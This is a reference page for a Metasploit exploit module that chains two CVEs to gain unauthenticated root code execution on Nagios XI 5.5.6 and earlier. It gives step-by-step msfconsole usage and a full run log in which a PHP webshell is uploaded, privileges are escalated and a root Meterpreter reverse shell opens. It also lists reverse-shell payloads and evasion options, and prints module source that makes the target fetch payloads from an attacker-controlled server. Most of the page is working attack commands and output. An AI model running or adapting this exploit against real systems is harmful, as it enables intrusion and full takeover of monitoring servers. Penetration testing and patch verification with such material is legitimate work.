Nagios XI Magpie_debug.php Root Remote Code Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/http/nagios_xi_magpie_debug metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Nagios XI Magpie_debug.php Root Remote Code Execution
Module: exploit/linux/http/nagios_xi_magpie_debug
Source code: modules/exploits/linux/http/nagios_xi_magpie_debug.rb
Disclosure date: 2018-11-14
Last modification time: 2021-03-16 07:13:55 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2018-15708, CVE-2018-15710

This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

msf > use exploit/linux/http/nagios_xi_magpie_debug
msf exploit(nagios_xi_magpie_debug) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • RSRVHOST: A public IP at which your host can be reached (e.g. your router IP)

Knowledge Base

Vulnerable Application

This module exploits two vulnerabilities in Nagios XI <= 5.5.6: CVE-2018-15708 which allows for unauthenticated remote code execution and CVE-2018-15710 which allows for local privilege escalation. When combined, these two vulnerabilities allow execution of arbitrary commands as root.

The exploit works as follows:

  • A local HTTPS server is setup. When it is reached, this server responds with a payload.
  • By crafting a malicious request, we make the target host send a request to our HTTPS server.
    • The local HTTPS server must be reachable from the Nagios host.
    • The RSRVHOST and RSRVPORT options are used to specify the HTTPS server host and port.
  • A PHP webshell and payload executable are uploaded via magpie_debug.php.
  • A command is executed via the webshell. This command elevates privileges and runs the payload executable.

Verification Steps

Download a vulnerable version of the Nagios XI virtual appliance:

  • https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.10-64.ova
  • https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.4.13-64.ova
  • https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.0-64.ova
  • https://assets.nagios.com/downloads/nagiosxi/5/ovf/nagiosxi-5.5.6-64.ova

Or download a vulnerable application installer and follow the installation instructions.

Metasploit:

  1. msfconsole
  2. use exploit/linux/http/nagios_xi_magpie_debug
  3. set RHOSTS [IP]
  4. set RSRVHOST [IP]
  5. exploit
  6. You should get a new session with root privileges

Options

RSRVHOST

IP address at which the local HTTPS server can be reached. Most of the time it will be a public IP (e.g. your router IP if you have port forwarding).

RSRVPORT

Port at which the local HTTPS server can be reached.

NagiosXI 5.5.6 (x64) virtual appliance

msf6 > use exploit/linux/http/nagios_xi_magpie_debug
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rhosts 10.1.1.113
rhosts => 10.1.1.113
msf6 exploit(linux/http/nagios_xi_magpie_debug) > set rsrvhost 10.1.1.114
rsrvhost => 10.1.1.114
msf6 exploit(linux/http/nagios_xi_magpie_debug) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.1.1.114:4444 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Found MagpieRSS.
[*] Using URL: https://0.0.0.0:8080/iRtxnl8L
[*] Local IP: https://10.1.1.114:8080/iRtxnl8L
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/fbHGUhauqtV.php ...
[+] fbHGUhauqtV.php uploaded successfully!
[*] Using URL: https://0.0.0.0:8080/YvyES7YlFee8R
[*] Local IP: https://10.1.1.114:8080/YvyES7YlFee8R
[*] Server started.
[*] Uploading to /usr/local/nagvis/share/nYRTioXKBam ...
[+] nYRTioXKBam uploaded successfully!
[*] Checking PHP web shell: /nagvis/fbHGUhauqtV.php
[+] Success! Commands executed as user: uid=48(apache) gid=48(apache) groups=48(apache),1000(nagios),1001(nagcmd)
[*] Attempting privilege escalation ...
[*] Sending stage (3008420 bytes) to 10.1.1.113
[*] Meterpreter session 1 opened (10.1.1.114:4444 -> 10.1.1.113:42314) at 2021-03-16 02:58:20 -0400
[+] Deleted /usr/local/nagvis/share/fbHGUhauqtV.php
[+] Deleted /usr/local/nagvis/share/nYRTioXKBam
[!] This exploit may require manual cleanup of '/var/tmp/hRyNmrQHZAq.nse' on the target
[*] Server stopped.

msf6 exploit(linux/http/nagios_xi_magpie_debug) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0)
meterpreter > sysinfo
Computer     : localhost.localdomain
OS           : CentOS 7.5.1804 (Linux 3.10.0-862.14.4.el7.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage

Here is how the linux/http/nagios_xi_magpie_debug exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/nagios_xi_magpie_debug

[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/nagios_xi_magpie_debug) > show info

       Name: Nagios XI Magpie_debug.php Root Remote Code Execution
     Module: exploit/linux/http/nagios_xi_magpie_debug
   Platform: Linux
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-11-14

Provided by:
  Chris Lyne ( <Chris Lyne (@lynerc)>
  Guillaume Andr�� ( <Guillaume Andr�� (@yaumn_)>
  bcoles <[email protected]>

Module side effects:
 artifacts-on-disk
 ioc-in-logs

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Nagios XI <= 5.5.6

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  10               no        Number of seconds the web server will wait before termination
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      443              yes       The target port (TCP)
  RSRVHOST                    yes       A public IP at which your host can be reached (e.g. your router IP)
  RSRVPORT   8080             yes       The port that will forward to the local HTTPS server
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  SSL        true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                     no        The URI to use for this exploit (default is random)
  VHOST                       no        HTTP server virtual host

Payload information:

Description:
  This module exploits two vulnerabilities in Nagios XI <= 5.5.6: 
  CVE-2018-15708 which allows for unauthenticated remote code 
  execution and CVE-2018-15710 which allows for local privilege 
  escalation. When combined, these two vulnerabilities allow execution 
  of arbitrary commands as root.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-15708
  https://nvd.nist.gov/vuln/detail/CVE-2018-15710
  https://www.exploit-db.com/exploits/46221
  https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172
  https://www.tenable.com/security/research/tra-2018-37

Module Options

This is a complete list of options available in the linux/http/nagios_xi_magpie_debug exploit:

msf6 exploit(linux/http/nagios_xi_magpie_debug) > show options

Module options (exploit/linux/http/nagios_xi_magpie_debug):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Number of seconds the web server will wait before termination
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      443              yes       The target port (TCP)
   RSRVHOST                    yes       A public IP at which your host can be reached (e.g. your router IP)
   RSRVPORT   8080             yes       The port that will forward to the local HTTPS server
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Nagios XI <= 5.5.6

Advanced Options

Here is a complete list of advanced options supported by the linux/http/nagios_xi_magpie_debug exploit:

msf6 exploit(linux/http/nagios_xi_magpie_debug) > show advanced

Module advanced options (exploit/linux/http/nagios_xi_magpie_debug):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FileDropperDelay                                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module

Payload advanced options (linux/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AppendExit                   false            no        Append a stub that executes the exit(0) system call
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterDebugLevel        0                yes       Set debug level for meterpreter 0-3 (Default output is strerr)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependChrootBreak           false            no        Prepend a stub that will break out of a chroot (includes setreuid to root)
   PrependFork                  false            no        Prepend a stub that starts the payload in its own process via fork
   PrependSetgid                false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid              false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid             false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid             false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid              false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid                false            no        Prepend a stub that executes the setuid(0) system call
   RemoteMeterpreterDebugFile                    no        Redirect Debug Info to a Log File
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/http/nagios_xi_magpie_debug module can exploit:

msf6 exploit(linux/http/nagios_xi_magpie_debug) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Nagios XI <= 5.5.6

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nagios_xi_magpie_debug exploit:

msf6 exploit(linux/http/nagios_xi_magpie_debug) > show payloads

Compatible Payloads
===================

   #   Name                                              Disclosure Date  Rank    Check  Description
   -   ----                                              ---------------  ----    -----  -----------
   0   payload/generic/custom                                             normal  No     Custom Payload
   1   payload/generic/debug_trap                                         normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                                     normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                                  normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                         normal  No     Generic x86 Tight Loop
   5   payload/linux/x64/exec                                             normal  No     Linux Execute Command
   6   payload/linux/x64/meterpreter/bind_tcp                             normal  No     Linux Mettle x64, Bind TCP Stager
   7   payload/linux/x64/meterpreter/reverse_tcp                          normal  No     Linux Mettle x64, Reverse TCP Stager
   8   payload/linux/x64/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   9   payload/linux/x64/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   10  payload/linux/x64/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   11  payload/linux/x64/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager
   12  payload/linux/x64/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   13  payload/linux/x64/shell_bind_ipv6_tcp                              normal  No     Linux x64 Command Shell, Bind TCP Inline (IPv6)
   14  payload/linux/x64/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   15  payload/linux/x64/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   16  payload/linux/x64/shell_reverse_ipv6_tcp                           normal  No     Linux x64 Command Shell, Reverse TCP Inline (IPv6)
   17  payload/linux/x64/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   18  payload/linux/x86/adduser                                          normal  No     Linux Add User
   19  payload/linux/x86/chmod                                            normal  No     Linux Chmod
   20  payload/linux/x86/exec                                             normal  No     Linux Execute Command
   21  payload/linux/x86/meterpreter/bind_ipv6_tcp                        normal  No     Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
   22  payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   23  payload/linux/x86/meterpreter/bind_nonx_tcp                        normal  No     Linux Mettle x86, Bind TCP Stager
   24  payload/linux/x86/meterpreter/bind_tcp                             normal  No     Linux Mettle x86, Bind TCP Stager (Linux x86)
   25  payload/linux/x86/meterpreter/bind_tcp_uuid                        normal  No     Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
   26  payload/linux/x86/meterpreter/reverse_ipv6_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager (IPv6)
   27  payload/linux/x86/meterpreter/reverse_nonx_tcp                     normal  No     Linux Mettle x86, Reverse TCP Stager
   28  payload/linux/x86/meterpreter/reverse_tcp                          normal  No     Linux Mettle x86, Reverse TCP Stager
   29  payload/linux/x86/meterpreter/reverse_tcp_uuid                     normal  No     Linux Mettle x86, Reverse TCP Stager
   30  payload/linux/x86/meterpreter_reverse_http                         normal  No     Linux Meterpreter, Reverse HTTP Inline
   31  payload/linux/x86/meterpreter_reverse_https                        normal  No     Linux Meterpreter, Reverse HTTPS Inline
   32  payload/linux/x86/meterpreter_reverse_tcp                          normal  No     Linux Meterpreter, Reverse TCP Inline
   33  payload/linux/x86/metsvc_bind_tcp                                  normal  No     Linux Meterpreter Service, Bind TCP
   34  payload/linux/x86/metsvc_reverse_tcp                               normal  No     Linux Meterpreter Service, Reverse TCP Inline
   35  payload/linux/x86/read_file                                        normal  No     Linux Read File
   36  payload/linux/x86/shell/bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
   37  payload/linux/x86/shell/bind_ipv6_tcp_uuid                         normal  No     Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
   38  payload/linux/x86/shell/bind_nonx_tcp                              normal  No     Linux Command Shell, Bind TCP Stager
   39  payload/linux/x86/shell/bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Stager (Linux x86)
   40  payload/linux/x86/shell/bind_tcp_uuid                              normal  No     Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
   41  payload/linux/x86/shell/reverse_ipv6_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager (IPv6)
   42  payload/linux/x86/shell/reverse_nonx_tcp                           normal  No     Linux Command Shell, Reverse TCP Stager
   43  payload/linux/x86/shell/reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Stager
   44  payload/linux/x86/shell/reverse_tcp_uuid                           normal  No     Linux Command Shell, Reverse TCP Stager
   45  payload/linux/x86/shell_bind_ipv6_tcp                              normal  No     Linux Command Shell, Bind TCP Inline (IPv6)
   46  payload/linux/x86/shell_bind_tcp                                   normal  No     Linux Command Shell, Bind TCP Inline
   47  payload/linux/x86/shell_bind_tcp_random_port                       normal  No     Linux Command Shell, Bind TCP Random Port Inline
   48  payload/linux/x86/shell_reverse_tcp                                normal  No     Linux Command Shell, Reverse TCP Inline
   49  payload/linux/x86/shell_reverse_tcp_ipv6                           normal  No     Linux Command Shell, Reverse TCP Inline (IPv6)

Evasion Options

Here is the full list of possible evasion options supported by the linux/http/nagios_xi_magpie_debug exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/nagios_xi_magpie_debug) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTML::base64                  none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape      0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode                 none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not upload <CURRENT_PAYLOAD> to target. No reply.

Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. No reply." error message:

95:	    path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@current_payload}"
96:	    print_status("Uploading to #{path} ...")
97:	    res = magpie_debug("https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} -o '#{path}'")
98:	
99:	    unless res
100:	      print_error("Could not upload #{@current_payload} to target. No reply.")
101:	      return false
102:	    end
103:	
104:	    unless res.code == 200
105:	      print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")

Could not upload <CURRENT_PAYLOAD> to target. Unexpected reply (HTTP <RES.CODE>).

Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. Unexpected reply (HTTP <RES.CODE>)." error message:

100:	      print_error("Could not upload #{@current_payload} to target. No reply.")
101:	      return false
102:	    end
103:	
104:	    unless res.code == 200
105:	      print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106:	      return false
107:	    end
108:	
109:	    if res.body.include?('Error: MagpieRSS: Failed to fetch')
110:	      print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")

Error: MagpieRSS: Failed to fetch

Here is a relevant code snippet related to the "Error: MagpieRSS: Failed to fetch" error message:

104:	    unless res.code == 200
105:	      print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106:	      return false
107:	    end
108:	
109:	    if res.body.include?('Error: MagpieRSS: Failed to fetch')
110:	      print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
111:	      return false
112:	    end
113:	
114:	    register_file_for_cleanup(path)

Could not upload <CURRENT_PAYLOAD> to target. cURL failed to download the file from our server.

Here is a relevant code snippet related to the "Could not upload <CURRENT_PAYLOAD> to target. cURL failed to download the file from our server." error message:

105:	      print_error("Could not upload #{@current_payload} to target. Unexpected reply (HTTP #{res.code}).")
106:	      return false
107:	    end
108:	
109:	    if res.body.include?('Error: MagpieRSS: Failed to fetch')
110:	      print_error("Could not upload #{@current_payload} to target. cURL failed to download the file from our server.")
111:	      return false
112:	    end
113:	
114:	    register_file_for_cleanup(path)
115:	  end

Could not access <CURRENT_PAYLOAD>. No reply.

Here is a relevant code snippet related to the "Could not access <CURRENT_PAYLOAD>. No reply." error message:

121:	        'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
122:	      }, 5
123:	    )
124:	
125:	    unless res
126:	      print_error("Could not access #{@current_payload}. No reply.")
127:	      return false
128:	    end
129:	
130:	    unless res.code == 200
131:	      print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")

Could not access <CURRENT_PAYLOAD>. Unexpected reply (HTTP <RES.CODE>).

Here is a relevant code snippet related to the "Could not access <CURRENT_PAYLOAD>. Unexpected reply (HTTP <RES.CODE>)." error message:

126:	      print_error("Could not access #{@current_payload}. No reply.")
127:	      return false
128:	    end
129:	
130:	    unless res.code == 200
131:	      print_error("Could not access #{@current_payload}. Unexpected reply (HTTP #{res.code}).")
132:	      return false
133:	    end
134:	
135:	    print_good("#{@current_payload} uploaded successfully!")
136:	    true

No reply.

Here is a relevant code snippet related to the "No reply." error message:

150:	
151:	  def check
152:	    res = magpie_debug
153:	
154:	    unless res
155:	      return CheckCode::Safe('No reply.')
156:	    end
157:	
158:	    if res.code == 200 && res.body.include?('MagpieRSS')
159:	      return CheckCode::Appears('Found MagpieRSS.')
160:	    end

Found MagpieRSS.

Here is a relevant code snippet related to the "Found MagpieRSS." error message:

154:	    unless res
155:	      return CheckCode::Safe('No reply.')
156:	    end
157:	
158:	    if res.code == 200 && res.body.include?('MagpieRSS')
159:	      return CheckCode::Appears('Found MagpieRSS.')
160:	    end
161:	
162:	    CheckCode::Safe
163:	  end
164:

Uploading payload failed

Here is a relevant code snippet related to the "Uploading payload failed" error message:

196:	        break
197:	      end
198:	    end
199:	
200:	    unless all_files_uploaded
201:	      fail_with(Failure::NotVulnerable, 'Uploading payload failed')
202:	    end
203:	
204:	    meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
205:	
206:	    print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")

PHP web shell did not execute our commands

Here is a relevant code snippet related to the "PHP web shell did not execute our commands" error message:

205:	
206:	    print_status("Checking PHP web shell: #{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}")
207:	
208:	    res = execute_command('id')
209:	    unless res && res.body.include?('uid=')
210:	      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
211:	    end
212:	
213:	    id = res.body.scan(/^(uid=.+)$/).flatten.first
214:	    if id.blank?
215:	      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')

PHP web shell did not execute our commands

Here is a relevant code snippet related to the "PHP web shell did not execute our commands" error message:

210:	      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
211:	    end
212:	
213:	    id = res.body.scan(/^(uid=.+)$/).flatten.first
214:	    if id.blank?
215:	      fail_with(Failure::UnexpectedReply, 'PHP web shell did not execute our commands')
216:	    end
217:	    print_good("Success! Commands executed as user: #{id}")
218:	
219:	    print_status('Attempting privilege escalation ...')
220:

Privilege escalation failed

Here is a relevant code snippet related to the "Privilege escalation failed" error message:

236:	      execute_command(cmd)
237:	      break if session_created?
238:	    end
239:	
240:	    unless session_created?
241:	      print_error('Privilege escalation failed')
242:	      print_status("Executing payload as #{id} ...")
243:	      execute_command("chmod +x #{meterpreter_path} && #{meterpreter_path}")
244:	    end
245:	  end
246:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Chris Lyne (@lynerc)
  • Guillaume André (@yaumn_)
  • bcoles

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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